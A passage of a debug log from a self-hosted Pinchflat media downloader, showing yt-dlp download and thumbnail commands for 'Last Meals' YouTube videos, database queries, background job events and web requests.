21:22:34.474 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=MS-lV6bru3Q --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/28/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/9d/0d/9d0dcb1e64f21cb95e509196ad8a690bbc9b073fd89e09bbce242ea6f640e87c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:22:37.136 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=MS-lV6bru3Q --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/28/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/9d/0d/9d0dcb1e64f21cb95e509196ad8a690bbc9b073fd89e09bbce242ea6f640e87c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:22:37.136 [debug] QUERY OK db=0.0ms idle=1079.1ms begin [] 21:22:37.137 [debug] QUERY OK source="media_items" db=0.7ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 01:22:34Z], "/downloads/Last Meals/2024-03-26 WWE’s Becky Lynch Eats Her Last Meal/WWE’s Becky Lynch Eats Her Last Meal [MS-lV6bru3Q].mp4", ~U[2026-03-28 01:22:37Z], 28] 21:22:37.138 [debug] QUERY OK source="media_metadata" db=0.5ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/28/metadata.json.gz", "/config/metadata/media_items/28/thumbnail.jpg", 28, ~U[2026-03-28 01:22:37Z], ~U[2026-03-28 01:22:37Z]] 21:22:37.138 [debug] QUERY OK db=0.0ms commit [] 21:22:37.139 [debug] QUERY OK source="media_items" db=1.1ms idle=1081.1ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [391974614, ~U[2026-03-28 01:22:37Z], 28] 21:22:37.139 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:22:37.140 [info] {"args":{"id":28},"id":31,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":144684180,"event":"job:stop","queue_time":1958455394,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:22:37.140 [debug] QUERY OK source="tasks" db=0.3ms idle=422.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:22:37.140 [debug] QUERY OK source="tasks" db=0.3ms idle=1082.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:22:37.141 [debug] QUERY OK source="media_items" db=0.1ms idle=1.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [29] 21:22:37.141 [debug] QUERY OK source="media_items" db=0.2ms idle=2.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [29] 21:22:37.146 [info] {"args":{"id":30},"id":33,"meta":{},"system_time":1774660957146632406,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:22:37.147 [debug] QUERY OK source="media_items" db=0.2ms idle=5.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [30] 21:22:37.147 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:22:37.147 [debug] QUERY OK source="tasks" db=0.5ms idle=5.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:22:37.147 [debug] QUERY OK source="tasks" db=0.6ms idle=5.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:22:37.147 [debug] QUERY OK source="sources" db=0.3ms idle=5.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:22:37.147 [debug] QUERY OK source="media_items" db=0.1ms idle=0.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [29, 30] 21:22:37.147 [debug] QUERY OK source="media_items" db=0.1ms idle=0.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [29, 30] 21:22:37.147 [debug] QUERY OK source="media_profiles" db=0.3ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:22:37.148 [debug] QUERY OK source="media_items" db=0.0ms idle=0.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [30] 21:22:37.148 [debug] QUERY OK source="media_metadata" db=0.0ms idle=0.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [30] 21:22:37.148 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:22:37.148 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:22:37.148 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:22:37.148 [debug] Running yt-dlp command for action: get_downloadable_status 21:22:37.148 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:22:37.148 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:22:37.149 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:22:37.149 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=GAFJ8istWgk --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/61/13/61131d8926b073d8bd7afe25d2960322a1a8cdbd560565649036db52627a586d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:22:40.005 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=GAFJ8istWgk --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/61/13/61131d8926b073d8bd7afe25d2960322a1a8cdbd560565649036db52627a586d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:22:40.005 [debug] Running yt-dlp command for action: download 21:22:40.005 [debug] QUERY OK source="settings" db=0.1ms idle=948.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:22:40.006 [debug] QUERY OK source="settings" db=0.0ms idle=948.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:22:40.006 [debug] QUERY OK source="settings" db=0.0ms idle=948.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:22:40.006 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=GAFJ8istWgk --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/87/9f/879f4d440c4bbd6f0abe605ba75d0069295d527a627050822a1db5ab2705925c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:22:58.685 [info] {"source":"oban","duration":1092,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:23:00.596 [info] {"source":"oban","duration":302,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:23:28.687 [info] {"source":"oban","duration":1055,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:23:58.689 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:23:59.628 [info] GET /media_profiles 21:23:59.628 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.index/2 Parameters: %{} Pipelines: [:browser] 21:23:59.629 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1571.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", (SELECT count(ss0."id") AS "result" FROM "sources" AS ss0 WHERE (ss0."media_profile_id" = m0."id")) FROM "media_profiles" AS m0 WHERE (m0."marked_for_deletion_at" IS NULL) ORDER BY m0."name" [] 21:23:59.629 [debug] QUERY OK source="settings" db=0.1ms idle=1571.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:23:59.629 [debug] QUERY OK source="settings" db=0.0ms idle=1572.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:23:59.630 [debug] QUERY OK source="settings" db=0.0ms idle=941.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:23:59.631 [info] Sent 200 in 2ms 21:23:59.700 [info] CONNECTED TO Phoenix.LiveView.Socket in 27µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "GVZcZntABylnUj05JC9FJXcICTImXiN_XfdKLtVgWfKLbN-nZOByjfbG", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.internal.ubrown.me/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.internal.ubrown.me/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 21:23:59.707 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "A08-74QN04vuFahK-GKKL8A8"} 21:23:59.707 [debug] Replied in 89µs 21:24:00.597 [info] {"source":"oban","duration":176,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:24:02.806 [info] GET /media_profiles/1/edit 21:24:02.806 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.edit/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 21:24:02.806 [debug] QUERY OK source="media_profiles" db=0.1ms queue=0.1ms idle=1749.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:24:02.807 [debug] QUERY OK source="settings" db=0.1ms idle=1749.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:24:02.807 [debug] QUERY OK source="settings" db=0.0ms idle=1750.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:24:02.808 [debug] QUERY OK source="settings" db=0.1ms idle=936.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:24:02.809 [info] Sent 200 in 3ms 21:24:02.855 [info] CONNECTED TO Phoenix.LiveView.Socket in 29µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "DwAKX3tjPip4QBM4fiMrB1cvDS47DRlsN02rLWodHteM8BCLzhFew5XT", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.internal.ubrown.me/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.internal.ubrown.me/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 21:24:02.906 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "A08-74QN04vuFahK-GKKL8A8"} 21:24:02.906 [debug] Replied in 95µs 21:24:28.690 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:24:32.114 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=En_L4safXKo --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/0e/b6/0eb6a6d2c0c80e115347177f03a4806816910072cc543c13c7fa0de8dd418d58.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:24:32.123 [debug] Running yt-dlp command for action: download_thumbnail 21:24:32.123 [debug] QUERY OK source="settings" db=0.0ms idle=204.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:24:32.123 [debug] QUERY OK source="settings" db=0.0ms idle=66.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:24:32.123 [debug] QUERY OK source="settings" db=0.0ms idle=66.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:24:32.123 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=En_L4safXKo --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/29/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/a7/3b/a73b37e38e747fdc072f19545c36aee8ab2bb890bc7abffd4a60330202d2d579.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:24:34.977 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=En_L4safXKo --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/29/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/a7/3b/a73b37e38e747fdc072f19545c36aee8ab2bb890bc7abffd4a60330202d2d579.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:24:34.977 [debug] QUERY OK db=0.0ms idle=920.0ms begin [] 21:24:34.978 [debug] QUERY OK source="media_items" db=0.3ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 01:24:32Z], "/downloads/Last Meals/2025-07-31 The Jonas Brothers Eat Their Last Meal/The Jonas Brothers Eat Their Last Meal [En_L4safXKo].mp4", ~U[2026-03-28 01:24:34Z], 29] 21:24:34.978 [debug] QUERY OK source="media_metadata" db=0.2ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/29/metadata.json.gz", "/config/metadata/media_items/29/thumbnail.jpg", 29, ~U[2026-03-28 01:24:34Z], ~U[2026-03-28 01:24:34Z]] 21:24:34.978 [debug] QUERY OK db=0.0ms commit [] 21:24:34.979 [debug] QUERY OK source="media_items" db=0.5ms idle=921.1ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [464018491, ~U[2026-03-28 01:24:34Z], 29] 21:24:34.979 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:24:34.979 [info] {"args":{"id":29},"id":32,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":157811621,"event":"job:stop","queue_time":2061167344,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:24:34.985 [info] {"args":{"id":31},"id":34,"meta":{},"system_time":1774661074985666551,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:24:34.985 [debug] QUERY OK source="media_items" db=0.0ms idle=62.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [31] 21:24:34.985 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:24:34.986 [debug] QUERY OK source="sources" db=0.0ms idle=7.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", 